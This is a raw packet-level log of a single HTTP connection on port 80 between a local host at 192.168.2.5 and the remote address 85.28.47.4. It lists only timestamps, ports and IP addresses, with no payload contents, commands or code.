Jun 27, 2024 19:25:54.795994997 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.796011925 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.796034098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.796044111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.796055079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.796070099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.796082973 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.796083927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.796097040 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.796158075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.796195984 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.796211958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.796222925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.796248913 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.796248913 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.796267986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.796278954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.796304941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.796318054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.796386957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.796397924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.796408892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.796418905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.796428919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.796431065 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.796454906 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.796467066 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.796590090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.796602011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.796612024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.796636105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.796655893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.796658993 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.796669006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.796679974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.796694994 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.796710968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.796727896 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.796835899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.796847105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.796858072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.796870947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.796880960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.796888113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.796894073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.796910048 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.796921968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.796943903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.796977997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.796989918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.797008038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.797017097 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.797020912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.797032118 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.797034025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.797046900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.797049046 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.797061920 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.797089100 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.797260046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.797271967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.797283888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.797293901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.797297955 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.797311068 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.797313929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.797322035 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.797327042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.797334909 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.797352076 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.797362089 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.797404051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.797442913 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.797482967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.797494888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.797504902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.797516108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.797522068 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.797528028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.797533989 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.797545910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.797589064 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.797617912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.797629118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.797638893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.797650099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.797652960 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.797662020 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.797683954 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.797730923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.797743082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.797753096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.797765970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.797775984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.797779083 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.797787905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.797800064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.797802925 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.797813892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.797820091 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.797837973 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.797852993 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.798146009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.798158884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.798171997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.798186064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.798194885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.798199892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.798216105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.798240900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.874284029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.874303102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.874315023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.874346972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.874358892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.874368906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.874381065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.874388933 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.874440908 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.874440908 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.874440908 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.886499882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.886547089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.886548996 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.886565924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.886588097 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.886598110 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.886668921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.886682034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.886693001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.886707067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.886723995 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.886758089 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.886801958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.886814117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.886823893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.886833906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.886850119 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.886877060 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.886908054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.886919975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.886934996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.886945009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.886972904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.886972904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.887012005 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.890690088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.890743971 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.890784979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.890834093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.891024113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.891064882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.891069889 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.891077995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.891124010 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.891124964 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.891170025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.891180992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.891191959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.891201973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.891217947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.891243935 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.891275883 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.891380072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.891395092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.891406059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.891417980 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.891427994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.891431093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.891442060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.891453981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.891453981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.891464949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.891474962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.891480923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.891482115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.891524076 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.891524076 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.891760111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.891771078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.891781092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.891791105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.891809940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.891824961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.891832113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.891835928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.891846895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.891858101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.891868114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.891870022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.891886950 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.891910076 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.891928911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.891973019 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.894283056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.894294024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.894304037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.894346952 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.894773006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.894783974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.894794941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.894836903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.894845009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.894856930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.894864082 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.894872904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.894886017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.894913912 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.894913912 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.894953012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.894953966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.894987106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.894994020 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.894999981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.895019054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.895035028 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.895064116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.895076990 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.895076990 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.895083904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.895096064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.895121098 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.895148993 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.895148993 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.895292044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.895303011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.895313025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.895323038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.895334005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.895344019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.895344973 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.895355940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.895365953 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.895375967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.895390034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.895387888 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.895387888 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.895402908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.895414114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.895416021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.895426989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.895438910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.895443916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.895467997 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.895467997 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.895514965 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.895601034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.895612001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.895623922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.895637035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.895657063 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.895658016 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.895693064 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.895754099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.895766020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.895776033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.895786047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.895797014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.895801067 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.895807028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.895817995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.895829916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.895829916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.895864010 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.895881891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.895894051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.895904064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.895925045 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.895939112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.895942926 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.895951033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.895967960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.895977974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.895979881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.895998001 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.896018028 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.896220922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.896238089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.896250963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.896261930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.896265984 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.896274090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.896280050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.896291018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.896294117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.896294117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.896302938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.896317959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.896327019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.896334887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.896334887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.896339893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.896351099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.896354914 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.896365881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.896380901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.896399021 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.896399021 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.896430969 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.896446943 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.962862968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.962877035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.962888956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.962940931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.962953091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.962968111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.963027954 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.963063002 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.964092016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.964150906 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.975528002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.975583076 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.975591898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.975605011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.975656986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.975656986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.975687027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.975698948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.975708008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.975719929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.975733042 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.975752115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.975969076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.975981951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.975992918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.976011038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.976022959 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.976025105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.976037979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.976046085 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.976049900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.976070881 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.976072073 CEST	49705	80	192.168.2.5	85.28.47.4
